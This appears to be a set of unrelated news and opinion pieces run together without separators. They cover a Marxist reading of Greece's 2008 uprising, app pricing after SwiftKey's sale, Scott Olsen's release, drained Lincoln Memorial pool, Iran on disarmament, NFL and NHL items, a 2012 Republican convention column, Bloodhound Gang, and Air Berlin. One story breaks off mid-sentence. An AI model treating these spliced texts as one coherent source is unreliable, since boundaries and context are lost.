Alain Touraine has commented with regard to the May 1968 revolt in Paris: “The May movement was creative only in what prevented it from succeeding, its spontaneity”. The same could be argued concerning the Greek movement: it has shown the limits and the dead ends of spontaneous and unorganized action. An uprising is like a bicycle—at the point where it stops revolving and expanding, it tips over. When the protesters or the would-be rebels do not concentrate and coordinate their actions towards some specific ends, the propulsive force of the movement is lost. In the first three days, the escalation of the action was indeed satisfactory. Rage motivated the first protesters to get out into the streets, and they were soon accompanied by wider parts of the population who also declared that they had enough with an unpromising and miserable life. The principal rage expressed with barricades, vandalism and destruction gave way to more oriented actions such as university occupations and some attempts at coordination. But these attempts did not succeed in embracing a large part of the society, nor did they manage to influence the economic life of the country (as had occurred in France in 1968, for example).
The organizational deficit could be explained by the major role that various anarchist teams had in the uprising and their faith in the power of spontaneity and dislike to any form of vanguard. But as has happened many times in the past, this form of struggle seems to lead only to de-escalation and unavoidably to defeat. However, this is not an attempt to blame the anarchists, for that is how they always thought and acted. It is the movement itself that should have excluded this blind route. As Lenin stated, “Anarchism was not infrequently a kind of penalty for the opportunist sins of the working-class movement.” This leads us to the main reason for the failure of the movement to become something more threatening to the established power: the absence of a satisfactory intervention of the working class and its vanguard.
There is nothing wrong with young people playing a leading role in an uprising. As professor Rousis stated in an article soon after the events, the average age of the French revolutionaries in 1789 was below 30. The same applied in the Bolshevik and the Cuban revolution, as well as in the May 1968 movement. However, any movement that aspires to become something more than just an uprising or expression of complaint and despair needs a key player that can lead the society to a major change; it needs a revolutionary subject. Young people, because of the characteristics of their age, are in an advanced position to back a struggle. But they are not a class per se and therefore they cannot be the driving force in a radical transformation of the society. This key player can only be the working class. By working class I do not only mean the traditional “blue collars”, but the vast majority of the population that is exploited by the existing system and sees even the few concessions that the capitalist state has let it in the past (welfare state, etc.) recalled. Unfortunately, the working class and its vanguard, the Greek Communist Party (KKE) – one of the strongest communist parties in Europe, both in size and in theoretical revolutionary orientation – failed to intervene significantly and make the difference in the December’s uprising.
The reasons vary. The first and most obvious one is that a huge portion of the working class, overwhelmed and alienated by the system, abstains from any struggle, and even more from a struggle with the advanced anti-systemic characteristics of December. The more pressing problem, however, concerns why the fighting vanguard of the working class had only a complementary role in the events.
The strong Greek Communist Party played a minor role in December, being extremely critical towards the spontaneity of the movement and the forms of action it took: especially the vandalisms and the burning of cars and shops. It argued that what was happening was not a revolt, because the key player, i.e. the students and young people, cannot be the main revolutionary subject. Therefore, the uprising had no chance in becoming more than just rioting, and was doomed to fail from the start. Following its critical view, the KKE kept its distance. Although its analysis was correct in its essence, by abstaining from the core of the events, it deprived the movement of any prospect of becoming something more promising. It is true, the uprising was spontaneous and the working class was missing. It seemed like what Lenin called “a petty bourgeois driven to frenzy by the horrors of capitalism”. But as the leader of the Bolsheviks pointed out in “What is to be done”, spontaneity could represent consciousness in an embryonic form. In addition, “The greater the spontaneous upsurge of the masses and the more widespread the movement, the more rapid, incomparably so, the demand for greater consciousness in the theoretical, political and organisational work of Social-Democracy (as the communists were then called)”.
It is true that the forms of action that the movement followed were not all correct and that they disoriented people and produced a social backlash. This was predictable and understandable, as a large majority of the protesters were quite young with no experience of political or social struggle. But, again according to Lenin, “Mistakes are inevitable when the masses are fighting, but the communists remain with the masses, see these mistakes, explain them to the masses, try to get them rectified, and strive perseveringly for the victory of class consciousness over spontaneity.” The failure of the intervention by the working class and its vanguard and the failure of the movement to subordinate spontaneity to conscious action lead the uprising to disorientation, lack of strategic direction and, inevitably, deflation.
Elite reaction to the uprising
It is interesting to observe how the system reacts in a social crisis like the December uprising, because it unmasks the democratic guise of the bourgeois state. As it is known, the state has two tools for keeping people subordinate: persuasion/trickery and bald violence. When the first fails, there is no hesitation in proceeding to the second. A combination of trickery and violence was what the ruling system of Greece followed in the December events.
In the beginning, the government and the media put on a show of sympathy for the death of the boy and expressed an understanding of the rage felt by the people in the streets. The events can be seen to follow a classic blueprint: during the first two days the police did not intervene and let a minority of the protesters proceed in vandalisms, thus spreading an atmosphere of chaos and anarchy. This created fear in a large part of the population and thereafter, the police had a carte blanche to proceed in a wild repression, without any discrimination, against anyone on the streets. Arrests, beatings and humiliations in the police stations were the daily provision. In the city of Larissa, 18 people, including 14 year-old students, were arrested under anti-terrorism laws. There were documents in the media showing policemen dressed as protesters, with their faces covered and holding clubs. Many protesters argued that camouflaged policemen damaged some small shops, so as to turn public opinion against the uprising.
Similarly underhanded was the coverage of the events by the mainstream media, which gave disproportionate attention to the vandalisms, while at the same time underestimating or hiding the brutality of police repression. The masked hooligan was presented as the typical sample of a protester, while the uncertainties and concerns of young people concerning their future, the force that drove them into the streets, was absent from the 8 o’clock news. The propaganda of the right wing government of Nea Dimokratia and the far right party of LAOS reached unprecedented levels, implying even that the protests were organized by secret agents of a dark force bent on harming Greece! During the events, the importance of independent information (blogs, Indymedia and others) emerged, as they brought to attention news and events that the mainstream media suppressed.
Conclusion
As capitalism’s contradictions evolve and become clearer, phenomena like the December uprising will occur with increasing frequency and fervor. Whether they will have a significant impact towards a radical change will depend on the maturity and the consciousness of the masses, enriched by the experience of events like those of December.
This piece was originally published in the Journal of Critical Globalisation Studies
AdvertisementsFriends, Romans, Internetmen-and-women-and-any-other-gender-neutral-designations-that-may-be-appropriate-in-a-salutation-such-as-this: Lend me your ears. You may not like what I'm about to say -- truthfully, I'm not entirely sure I like it myself -- but I promise you, it's important:
This system we have of paying a few lousy shekels for complex mobile apps? Apps we use and rely on every day, in many cases, and for which we expect to receive eternal upgrades and support? Yeah -- that's gotta go.
I know, I know: The very thought of paying more than three bucks for a piece of software these days is tough to swallow, no matter how much value we may get out of the thing. But as this week's sale of SwiftKey to Microsoft underscores, that sort of penny-pinching mentality makes it tough for mobile app developers to survive on their own in the long term. And sooner or later, that's going to turn into a serious problem for us as consumers.
The SwiftKey side of the story
This story is really much broader than SwiftKey, but the app's acquisition is a good launchpad for a discussion we've been needing to open up for a while.
Let's begin with some truth from the friendly troops at the Financial Times, which broke the news of SwiftKey's acquisition:
Despite being installed on more than 300 million devices, SwiftKey has struggled to find a reliable business model. After initially selling its predictive keyboard app for $4, the company switched to a free download model in 2014, selling extras such as themes and personalization via in-app purchases.
That's not all: SwiftKey also had the unusual advantage of selling its software to manufacturers like Samsung, who used it as a foundation for their own custom preinstalled keyboards. But yet, it apparently still struggled to find a way to turn its popular and favorably reviewed app into a sustainable business.
And remember: That's coming from a large company with lots of resources (and millions of dollars in investor moolah) at its disposal. Compare that to the countless independent developers who work on their own to develop and maintain apps in order to make a living. If even an organization like SwiftKey couldn't swing it, how can those smaller operations possibly support themselves and keep improving their products when they depend on a measly $2.99 per user for a lifetime of work?
The answer is simple: They can't. I've heard from numerous developers over the years who have grappled with this issue and racked their brains to find a solution.
The problem is that such a solution isn't exactly easy. There is no one-size-fits-all magic fix here, and any viable option is going to require some serious reshaping of expectations on behalf of us -- the users.
The app cost conundrum
Now, let's get one thing straight: For some apps, a nominal one-time fee really does make the most sense. But for more complex and time-requiring titles, especially those that continue to evolve meaningfully over time, we're going to have to start being more accepting of alternate payment approaches. Either that, or we're going to start losing the developers who currently devote their time and resources to maintaining such efforts.
One interesting possibility is the notion of being asked to repurchase an app every year or two, whenever a major new version is released. We saw this attempted on Android with Chris Lacy's Action Launcher 3 app -- and boy, were some people pissy about it.
Lacy's justification was that Action Launcher 3 was a complete ground-up rewrite of his program. As he wrote in a Google+ post at the time:
Considering the vast majority of Action Launcher 2 sales occurred over a year ago, and I make my living selling my apps, it's very tough to justify from a business perspective giving all this hard work away for free in an update. I feel very happy with how many updates Action Launcher 2 received over the previous two years (11 major updates, >100 in total), as well as the value for money Action Launcher Pro users have received for their $2 to $4 purchase. But charging for Action Launcher 3 is the right move to ensure the product has the opportunity to grow as I want it to going forward.
Lacy noted that those who didn't want to upgrade could continue to use the older version indefinitely on an as-is basis. He likened it to the way someone might buy a new "Call of Duty" game every year, or buy a sequel to a movie instead of automatically receiving the next edition just because they bought the first.
If you ask me, that makes an awful lot of sense -- and the fact that people were upset about Lacy's experiment speaks to the fact that we need to adjust our expectations. Paying four bucks every year or two for something like a launcher -- something you use constantly throughout the day and on any number of devices you own -- is perfectly reasonable. Hell, it's a steal, especially when you consider the numerous upgrades and new features you'll receive throughout that product's lifetime. Let's keep it in perspective, folks: We're talking about less than the cost of your daily Venti Mocha-Nut-a-tino here.
And here's what's important: That once-per-major-upgrade payment structure is going to let a guy like Lacy -- a single person working on his own to develop, maintain, support, and market an innovative app many of us adore -- continue to work on creating software that makes our mobile devices more efficient and pleasant to use.
The value variable
As we start to see more apps trying to experiment with such alternate approaches, the key will be for developers to find a cost and payment model that matches their app's perceived value. Suddenly telling customers they're going to need to pay an ongoing $40/yr. subscription for the same features they previously enjoyed free of charge, for instance, is invariably going to rub people the wrong way. Just ask the crew behind Pushbullet.
Under the right circumstances, some services can justify a recurring subscription-based approach; others, no matter how hard they may try, just can't. But the perceived value of the service and the way the cost is presented makes a world of difference in how the plan is received, as we can see by comparing Pushbullet's transition to Feedly's -- a similar free-to-subscription shift with a very similar pricing model. In the latter case, few people seemed to complain and most left the situation feeling warm and fuzzy inside.
As long as that value variable is determined correctly and presented well, the real challenge isn't on the developers so much as it is on us. We're reaching a crossroads in the world of mobile apps, and it's up to us to decide whether we're going to cling to the unrealistic 99-cents-is-all-I'll-pay mentality we've been trained to have or whether we're going to accept a more sustainable approach -- one that'll let our developers actually earn a reasonable ongoing living for their work.
Ultimately, being willing to pay for the tools we use won't keep great apps like SwiftKey from getting gobbled up in expensive acquisitions. It will, however, make it more feasible for developers to turn their work on Android into long-lasting careers -- and ultimately, that's a win for us all.LOS ANGELES (Reuters) - Former U.S. Marine Scott Olsen, whose injury during clashes between Oakland police and protesters last month galvanized the Anti-Wall Street movement, has been released from the hospital, friends said on Friday.
Former U.S. Marine Scott Olsen, shown in this undated photograph, who was injured during clashes between police and anti-Wall Street protesters in Oakland, has been released from the hospital, two friends said on November 11, 2011. REUTERS/Courtesy Keith Shannon/Handout
“He is out of the hospital as of yesterday or today, thank goodness,” Adele Carpenter, 29, told Reuters.
Iraq Veterans Against the War spokeswoman Dottie Guy also confirmed Olsen’s release to Reuters.
Olsen is focused on healing right now, Carpenter told Reuters, but she added that “he is following the Occupy protests closely, as well as the vets march against police brutality today.”
“He sent words of affirmation to friends during the Oakland General Strike and has been excited to hear stories from people who could attend,” she said.
Occupy Oakland organizers say Olsen, 24, was hit in the head by a tear gas canister fired by police during a downtown Oakland confrontation on October 25. He was admitted to a local hospital in critical condition.
Acting Oakland Police Chief Howard Jordan has opened an investigation into the circumstances surrounding Olsen’s injury but police and city have not said how they believe the Iraq veteran was injured.
More than two weeks later, Olsen was released from inpatient care in time to celebrate Veteran’s Day, Carpenter wrote in a blog post on a website for the group Veterans for Peace.
The Iraq veteran was “still struggling with speech, but is attempting conversations without having the writing instrument out,” on which he had been relying to communicate, Carpenter said in the blog post.
Word of Olsen’s injury reinvigorated the Occupy Wall Street movement across the country, shifted its focus away from New York to Oakland and broadened its aims to include opposing police brutality.
Activists in Oakland and elsewhere took to the streets en masse following his hospitalization, holding candlelight vigils and marches in his honor.
Olsen served two tours in Iraq, working as a technician and earning a handful of service medals.
Friends say he soured on military life after leaving the service started a now-defunct website called “I hate the Marine Corps” that served as a forum for disgruntled servicemen.
Olsen received an “administrative discharge” from the service in late 2009, his uncle George Nygaard has said, though the precise reasons for it have not been confirmed.
Such a discharge can result from any number of behavioral or disciplinary issues.00:35 Iconic Reflecting Pool Must Be Drained The reflecting pool in front of the Lincoln Memorial in Washington, D.C., will be drained to clear parasites that have killed dozens of ducklings.
At a Glance Some 80 ducklings died in the Lincoln Memorial Reflecting Pool late last month, according to the National Park Service.
It's believed the ducklings died after eating snails that had been infected with parasites.
The reflecting pool will be drained, cleaned and refilled this week.
Authorities said a parasite was responsible for the deaths of 80 ducklings in Washington D.C.'s Lincoln Memorial Reflecting Pool, which must now be drained.
The deaths occurred after a recent heat wave and were blamed on parasites that grow in snails which live in the pool and provide food for the ducklings, according to the National Park Service. The dead ducklings were found May 20 and 21 following three days of temperatures in the upper 80s and low 90s.
"There have been snails in there for as long as anyone can remember. The aquatic environment is a perfect habitat for them," NPS spokesperson Mike Litterst told DCist. "But why now as opposed to any other time? We're probably really never going to know why now or what the cause of this was."
(MORE: 3 Drown on Chilly Lake Michigan Over the Weekend )
<img class="styles__noscript__2rw2y" src="https://dsx.weather.com//util/image/w/1463612093_dae0055e3e_o.jpg?v=at&w=485&h=273&api=7db9fe61-7414-47b5-9871-e17d87b8b6a0" srcset="https://dsx.weather.com//util/image/w/1463612093_dae0055e3e_o.jpg?v=at&w=485&h=273&api=7db9fe61-7414-47b5-9871-e17d87b8b6a0 400w, https://dsx.weather.com//util/image/w/1463612093_dae0055e3e_o.jpg?v=ap&w=980&h=551&api=7db9fe61-7414-47b5-9871-e17d87b8b6a0 800w" > A duck rests near the reflecting pool at the Lincoln Memorial in Washington D.C., Sept. 30, 2007. (flickr/ehpien) (flickr/ehpien)
The NPS said attempts were made to treat the water in the reflecting pool and rid the water of the parasites and snails, but after it was determined those efforts were not enough to keep more ducklings from dying, the decision was made to drain and clean the pool. It will take two days to drain the pool, and cleaning will begin Tuesday. By Friday, cleaning efforts should be complete, and the NPS will begin to refill the pool.
The parasite could also cause problems for humans, but since prolonged contact with impacted water is necessary to have problems and people are not allowed to get into the pool, NPS officials told NPR the risk is very low.
For humans, the disease, known as cercarial dermatitis or "swimmer's itch," is not contagious and while it can cause an allergic rash, it's rare that the parasite requires medical treatment, according to the Centers for Disease Control and Prevention. The parasite's larvae can't develop inside a human's body, so they die in a short period of time, the CDC also said.
The reflecting pool was rebuilt in 2012, but an algae bloom forced officials to drain and clean the pool shortly after it reopened, according to the Huffington Post. That time, it cost $100,000 to clean the pool, the report added.
MORE ON WEATHER.COM: Corpse Flowers Bloom in Washington D.C., BelgiumIran has accused the world's five largest nuclear powers of failing to take concrete action to eliminate their stockpiles and called for negotiations on a convention to achieve nuclear disarmament by a target date.
Iran's deputy UN ambassador Gholam Hossein Dehghani on Wednesday told the UN Disarmament Commission that "a comprehensive, binding, irreversible, verifiable" treaty was the most effective and practical way to eliminate nuclear weapons.
Dehghani accused the nuclear powers - the US, Russia, China, Britain and France - of promising nuclear disarmament but making no significant progress.
Dehghani's speech came days after the announcement of a framework agreement between Iran and the five nuclear powers and Germany aimed at keeping Tehran from being able to develop a nuclear weapon. The historic pact has to be finalised by June 30.
The commission, which includes all 193 member states, is supposed to make recommendations in the field of disarmament but has failed to make substantive proposals in the past decade.
Its three-week meeting is taking place ahead of the five-year review of the Nuclear Non-Proliferation Treaty (NPT), the world's single most important pact on nuclear arms, which begins on April 27.
The NPT is credited with preventing the spread of nuclear weapons to dozens of nations since entering into force in 1970. It has done that via a global bargain: Nations without nuclear weapons committed not to
acquire them; those with them committed to move towards their elimination; and all endorsed everyone's right to develop peaceful nuclear energy.
Dehghani said that as a non-nuclear weapon state and NPT member, Iran believed it was time to end the incremental approach towards disarmament and to start negotiations with all nuclear and non-nuclear weapon states on a convention that would set a deadline for ridding the world of nuclear |
are striving to be far better than the 91.1 yards per game produced last season. They want to run well and run often, even when a defense knows what’s coming. While they drafted impressive fifth-rounder DeAndre Washington to help shoulder the load, that doesn’t necessarily mean Murray’s touches will decrease.
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“I want to have more rushes. I don’t want him to have less,” head coach Jack Del Rio said. “If anything, maybe a little more, but I want him to be more productive. We want other guys to be involved and be able to run it as well. We’re working on becoming a team that’s capable of running the ball well. We never really, truly established that last year. It had to be good numbers for us to be able to run it well. We want to be able to run it well, period, whether the numbers are good or not.”
Murray is capable of doing better. He stands 6-foot-3, 230 pounds, with surprisingly agile feet. Running backs coach Bernie Paramlee says Murray understands blocking schemes and can be a capable receiver, that he’s a hard worker who “doesn’t feel like he’s arrived.”
That was apparent during the offseason, when he took no issue with tearing his runs apart.
“When you self scout, you look at what you did well and what you didn’t do right,” Parmalee said. “As runners, there are times where you realize you missed a cut that could’ve provided extra yards. The next step is important, when you understand why. It’s about knowing blocking schemes and pad levels and how the opposition likes to play. You have to trust what you see and how we’re going to execute up front. When we’re watching film in OTAs, I want him to tell me what he sees. That makes things a lot clearer. He has improved tremendously on that front.”
Murray is a smarter player for last year’s experience and this offseason’s breakdown. Reviewing carries is common, but having a large library certainly helped evaluate every situation and how he can be improve. Efficiency is central in Murray’s mind. He wants to gain more yards per carry, absorb fewer big hits and be prepared to grind out yards when the first two objectives are not met.
That means being a punisher at times, using size to his advantage. Murray has worked to be in the best possible shape, to better weather a season and be more productive in crunch time.
“At times, I felt it. It’s a long season, and there was some tough sledding at times,” Murray said. “It may wear on you, but I want another heavy workload. I know I can handle it. I know what I need to do to be stronger later in the year and later in games. I’m excited about the opportunity ahead.”On 17 July, President Barack Obama spoke at a campaign rally in Roanoke, Virginia. It was a typical event for an incumbent president who is seeking a second term. In his remarks, he offered his vision of government's role in spurring entrepreneurship and creating jobs in the United States:
"If you were successful, somebody along the line gave you some help. There was a great teacher somewhere in your life. Somebody helped to create this unbelievable American system that we have that allowed you to thrive. Somebody invested in roads and bridges. If you've got a business – you didn't build that. Somebody else made that happen. The internet didn't get invented on its own. Government research created the internet so that all the companies could make money off the internet."
This is all fairly boilerplate rhetoric – a basic recitation of how Democrats view the role of government and its interplay with the private sector. But in this statement, there was one phrase that Republicans have grabbed on to like a famished dog with a new bone:
"You didn't build that."
That single phrase, taken out of context by Republicans, has become the GOP's symbol of Obama's supposed contempt for the free market and entrepreneurship, and for his socialist assault on America. Sure, it's a misleading lie to cast it that way. But in the hands of Republicans intent on furthering their vision of the free market as a fragile institution whose success relies on as little interaction with the federal government as possible, it quickly became a stand-in for all that is wrong with Obama.
And so, the Republicans made "We built that" the theme of Tuesday's convention proceedings. Speaker after speaker hammered on this theme, accusing Obama of disrespecting small business. But they did so with almost a wilful sense of hypocrisy. For example, Delaware lieutenant governor candidate Sher Valenzuela attacked Obama for the line despite the fact that, just a few months ago, she gave a detailed speech to a business group about how they could do a better job getting government contracts.
The shining example, however, was Phil Archuletta, a New Mexico businessman whose business makes outdoor signs – in part, for the federal government. Archuletta's chief complaint against the president was that Obama's stimulus bill had made it harder for him to win government contracts – an odd message for an evening dedicated to the notion that small businesses need government to get out of the way.
Democratic partisans were busy tweeting out the fact that Obama has signed multiple pieces of legislation providing tax breaks for small businesses, but such "facts" simply bounce harmlessly off the GOP's protective truth shield. Indeed, if there is one overarching takeaway, not only from the sessions so far at the Republican convention, but also from the last year of political campaigning, it is that Republicans not only toil in their own narrowly and misleadingly constructed world, but really are just making stuff up.
There were plenty of instances on display last night, beyond the "you didn't build it" meme. The most pernicious and racially-coded example is the oft-repeated claim by the Romney campaign that Obama, by granting waivers to states, has gutted the work requirement of the welfare reform bill (passed more than 15 years ago). The charge has become a crucial element of Romney's attacks on the president, even though, as many independent fact-checkers have pointed out, it simply isn't true. It's another lie; and yet, it was repeated last night by former Democratic Congressman Artur Davis, and again, by failed presidential candidate Rick Santorum, who went a step further and accused Obama of creating a "nightmare of dependency".
These are the big lies; but there are so many other ones that it's almost impossible to keep track. For example, speaker after speaker denounced Obama for running up $5tn in debt. While budget deficits that have increased the national debt have occurred during Obama's presidency, only someone who believes history began on 20 January 2009 (when Obama took office) can think he is fully responsible.
As this handy chart, put together by the folks at the Center on Budget and Policy Priorities, the debt is a result of a confluence of factors: the Bush tax cuts, the wars in Iraq and Afghanistan, the decline in tax revenue from the economic downturn, Tarp, and – very slightly – recovery measures put in place by President Obama. Republicans have completely washed their hands of any role and any responsibility for America's ever-increasing red tape – and it should be noted that the budgets of both Romney and Ryan (when he served in the House) would, because of massive tax cuts, further explode the deficit.
Republicans also decry the president's jobs record and they certainly have a point, but again, to blame Obama for 8% unemployment is to ignore the fact that Congress exists: it has regularly blocked any and all job creation measures ever since Obama's stimulus bill, which did create about 2.5 million jobs.
Then, there are assertions like keynote speaker New Jersey Governor Chris Christie's claim that Americans are "overtaxed", even thought the tax burden on taxpayers is at its lowest point since the Truman administration – and Obama has repeatedly cut taxes as president. Indeed, as Tom Schaller, a political scientist at the University of Maryland, Baltimore County (UMBC) said to me:
"Republicans say they value low taxes and hard work but fought until the 11th hour against the only tax levied directly on work: the payroll tax."
But all of this is at pace with a conservative worldview that considers government to be nothing more than malevolent interference with the smooth operation of the private sector – except when it's not. "Jobs don't come from government," said Texas Senate candidate Ted Cruz last night, a view that basically sums up GOP economic thinking. But if you listened to Republican governors on Tuesday, you might have found yourself surprised to discover that, in their states, the government has played an oddly integral role in spurring job creation. If you listened to Mary Fallin, governor of Oklahoma, extol the virtues of the energy industry in her state and bemoan "more government, bigger spending and more regulation", you might never know that the oil and gas industry is deeply reliant on – and spends millions lobbying for – tax breaks from the federal government.
One can believe that government should play a less direct role in the workings of the private economy – clearly, this is a defensible notion. But to listen to Republicans harping on Obama's "you didn't build that" line is to hear a party that views "government" in the most simplistic imaginable terms. This isn't a governing philosophy; it's a caricature of how the economy actually works.
To be sure, it's hardly unusual for political rhetoric to take liberties with the truth, or to stretch an argument to breaking-point, but with Republicans today, the issues runs much deeper. Very simply, the way they talk about what the federal government does or should do, and about the role of spending, taxation and regulation, is more than just a compendium of lies: it describes an alternate reality.
In the GOP's defense: at least they can argue they built that.
• Editor's note: this article originally identified Mary Fallin as governor of Nebraska; this was amended to Oklahoma at 12.30am on 30 August 2012.
• This article was further amended on 3 September 2012 to clarify Thomas Schaller's affiliation.Nashville, Tenn. – Nashville Predators President of Hockey Operations/General Manager David Poile announced today that the club has named Ben Vanderklok the team’s goaltending coach. The Welland, Ontario native has served as the organization’s assistant goaltending coach for the past five seasons.
“Ben has worked closely with all the goaltenders in our organization and has been integral in their development and success while learning from one of the best in Mitch Korn,” Poile said. “This is a natural fit to have Ben transition into the lead role, and his relationship with Pekka Rinne and Carter Hutton will make this process seamless.”
Since 2009, Vanderklok has worked nearly all the goalies within the organization, from Pekka Rinne, Carter Hutton, Anders Lindback, Chris Mason and Dan Ellis at the NHL level to Jeremy Smith, Magnus Hellberg, Marek Mazanec, Mark Dekanich and Scott Darling with the American Hockey League’s Milwaukee Admirals and ECHL’s Cincinnati Cyclones.
His work was integral in Mazanec’s transition to North America in 2013-14, which saw him play 25 games with the Predators, becoming the youngest in club history to record a shutout on Nov. 19, 2013 at Detroit and being named the NHL's Rookie of the Month for November 2013. Also last season, Darling came to the organization with one AHL game to his credit, and ended 2013-14 ranked among the league leaders in save percentage (.933), goals-against average (2.00) and shutouts (6) for the Admirals.
Poile also acknowledged Mitch Korn’s service and contributions to the franchise.
“We thank Mitch for his 16 years of work and dedication to the Nashville Predators, and we wish him well in his future endeavors,” he said.
Vanderklok has also worked as goalie coach of the Ontario Hockey League’s Niagara IceDogs since 2008, helping them reach the playoffs for six consecutive seasons and reach the OHL Final in 2011-12. During his first four seasons with the IceDogs, Vanderklok helped Hamilton, Ontario native Mark Visentin become a first-round pick of the Phoenix Coyotes (27th overall), earn silver (2011) and bronze (2012) medals with Team Canada at the World Junior Championship, become 2011 OHL Goaltender of the Year, and earn the 2012 Dave Pinkney Trophy as the goalie with the lowest goals-against average.
Vanderklok started his coaching career with the Port Colborne Pirates of the Golden Horseshoe Junior Hockey League (Junior B) from 2003-06 before instructing and training Brock University’s (Ontario) goalies from 2007-09. Since 2003, he has run Ben Vanderklok Goaltending, which conducts camps and clinics in the St. Catharine’s, Ontario region.
A dual Canadian-Dutch citizen, Vanderklok retired from play following four seasons (2000-04) and two league titles in 2002 and 2003 with the Amsterdam Tigers of the Netherlands Elite League. He played a pair of seasons with the OHL’s Barrie Colts from 1998-2000.
The 32-year-old and his wife Marlene have a daughter, Ava.1 of 1 2 of 1
Two years ago, the Vancouver Canucks were the final team eliminated from the Stanley Cup playoffs. This season, they were the first to go. Sixteen teams started down the road to the Cup a week ago, but the Canucks have already been punted from the playoffs after being swept aside by the better, stronger, faster, tougher San Jose Sharks in a series that ended almost before it began. It’s just the latest glaring example—on a long and troubling list of them—of how far this once-mighty hockey club has plummeted in a relatively short time, and how far it is from getting back to the top of the sport’s food chain.
Shockingly inconsistent throughout the lockout-shortened season, the Canucks were remarkably consistent in their short series with the Sharks—consistently second best in on-ice battles, races for loose pucks, and every area that matters when the chips are down in the high-stakes game of playoff hockey.
Save for Ryan Kesler’s inspired effort in the third period of Game 2, it’s hard to point to an example of a Canuck player elevating his performance at any point in the four games. The Sharks had the best forwards, the stronger defence, and the best goalie in the series. They dominated the special-teams battles and won the coaching chess match, too. Certainly, San Jose had a ridiculous edge in power plays (24-10) in a series that had two games so close they required overtime. But make no mistake, the better team prevailed here.
This was the first round of the playoffs—the starting point of an epic climb where 16 wins are needed to reach the top of the mountain. The Canucks got none this year, after scraping together just one last spring against Los Angeles. Forget victories for a moment: it’s debatable whether the Canucks had 16 scoring chances in their four-game flyby against the Sharks.
It’s clear Henrik and Daniel Sedin are no longer elite scorers in the NHL. But at this stage of their careers, they shouldn’t be the only ones on the team expected to produce points. However, they remain the best the Canucks have, and it doesn’t excuse the fact that neither one scored a goal in the series. As noted, Kesler had 20 extraordinary minutes, but that’s hardly enough at this time of year. Alex Burrows came out of hiding in the final game of the series, but there are search parties still trying determine the whereabouts of Chris Higgins, Jannik Hansen, Mason Raymond, Zack Kassian, and deadline debacle Derek Roy.
That so many of the Canucks supporting cast were allowed to float through four games makes no sense. Then again, very little about the way the Canucks have rolled over in their last three playoff series does.
Some of it speaks directly to coaching and the inability to push the right buttons, motivate players, and identify the ones who aren’t giving their all. But to lay it all at the feet of the coaching staff—which will surely be replaced in short order—absolves the players of blame, and they have no choice but to share ownership of another early exit.
At what point does personal pride kick in? Higgins and Raymond and Hansen have brought next to nothing to the offensive mix for three straight playoffs now. And their indifference and ineffectiveness seemed to rub off on Kassian and the newcomer Roy. It’s a team game, and the leaders can’t be expected to shoulder the load every night. The leaders needed to be better this year, but those around them had to show up too. The Canucks have been at their best over the past few seasons when spreading the scoring and coming at opponents with a balanced attack. But that’s impossible at playoff time when those expected to provide the secondary scoring pull a vanishing act year after year.
In this case, the numbers simply don’t lie: one win and only 16 goals in their past 10 playoff games, dating back to Game 7 of the 2011 Stanley Cup Final.
And so it’s on the Vancouver Canucks’ management now to sift through the rubble of another crumbled season and figure out why its supposed scorers whimper and cower at the thought of tough playoff checking, instead of embracing the challenge. This is the time of year when heroes are made. But it’s also the time of year that exposes the weak.
Like the losses to the Boston Bruins in 2011 and to Los Angeles last year, this sweep by the Sharks has shown the Vancouver Canucks to be a team that talks a good game, but for a variety of reasons isn’t able—or willing—to play one once the spring arrives.
And it will only get more difficult for this hockey club to turn things around and get headed in the right direction again. The core is aging and under contract, the team still has the black cloud of goaltending uncertainty hovering over it, and the number of its NHL–ready prospects is the same as its recent playoff win total. On top of all that, the league salary cap is dropping.
And that is the backdrop against which the Canucks, for the first time in a decade, will have to try to win back many disgruntled fans who’ve had all they can take—or who’ve at least reached their threshold for paying through the nose for what’s supposed to be entertainment.
When the hockey team hits the ice again next September, it must have a decidedly different look. Fans simply won’t accept more of the same.
And as an organization, neither should the Vancouver Canucks.Story highlights A member of U.S. rock band Bloodhound Gang wipes a Russian flag between his legs
The stunt at a gig in Ukraine goes viral on YouTube, sparks Russian anger
The band is barred from playing at a Russian music festival, minister says
Member of the band's crew says they were beaten up at Russian airport by nationalists
An American rock band, Bloodhound Gang, is in trouble with the Russian authorities over a stunt which saw one of its band members stuff the Russian flag into his pants and pull it out from his backside.
The band member told the audience "Don't tell Putin" before whipping the flag between his legs -- beneath his trousers -- during a concert in Odessa, Ukraine, on Wednesday.
He then tossed the flag into the crowd.
The stunt, which was caught on video, was posted on YouTube and has gone viral in Russia and Ukraine. Russia's state-run RIA Novosti news agency named bass guitar player Jared Hasselhoff as the band member responsible.
Now the band faces repercussions in Russia, where it has been barred from performing at the Kubana music festival, in a southern Russian territory, Krasnodar Krai, officials said.
"Talked to Krasnodar territory leadership. Bloodhound Gang packing suitcases. These idiots won't perform in Kubana," Russian Culture Minister Vladimir Medinsky said on Twitter Friday.
A member of the band's crew, who asked to not be named for security reasons, told CNN the band was attacked Saturday by Russian nationalists inside Anapa airport in Krasnodar Krai.
The band members were "beaten up" by a crowd of men, he said, who punched and kicked them. Some of the attackers had whips.
He said there were no serious injuries and that the band and its entourage were now safe. A Russian police guard is accompanying them as they wait for the next flight out, he said.
Bloodhound Gang is still listed among the acts on the website for the weeklong Kubana festival on the Black Sea coast, which started Thursday.
Bloodhound Gang had a big hit in 1999 with the song "The Bad Touch." The band is known for releasing satirical and provocative songs.Insolvent Air Berlin warns on future as 200 pilots call in sick
Insolvent Air Berlin warns on future as 200 pilots call in sick
The disruption at Air Berlin was hitting both its European and international services
Air Berlin has been forced to cancel about 100 flights after an "exceptionally high" number of its pilots called in sick.
The airline, which filed for insolvency last month and is only still operating because of a German government bridging loan, said Tuesday's apparent strike threatened its existence and hurt its chances of saving jobs.
The pilots' union, Vereinigung Cockpit, said it had not called the action - adding it was surprised that 200 pilots had failed to report for duty.
Air Berlin, which is Germany's second-largest carrier, said most of those off work were plane captains.
It has been in financial trouble for years, and industrial relations are at breaking point.
In an internal memo to staff, seen by the Reuters news agency, chief operations officer Oliver Iffert wrote: "No company could possibly be seen in a worse light than Air Berlin today.
"We must return to stable operations. That is crucial in order to bring talks with investors to a successful conclusion."
Air Berlin filed for insolvency after a major shareholder, Abu Dhabi-based carrier Etihad, refused to extend its cash lifeline.
The subsequent €150m (£135m) loan from the authorities allows Air Berlin to continue flying for three months as rivals circle above - hunting an opportunity to capitalise ahead of a Friday deadline for bids.
Ryanair is expected to be in the mix.
It has accused the German government of wanting the country's biggest carrier, Lufthansa, to take control of Air Berlin's viable operations.
German media has reported Lufthansa wants to take up to half its 140 planes and 3,000 crew for its Eurowings budget airline.
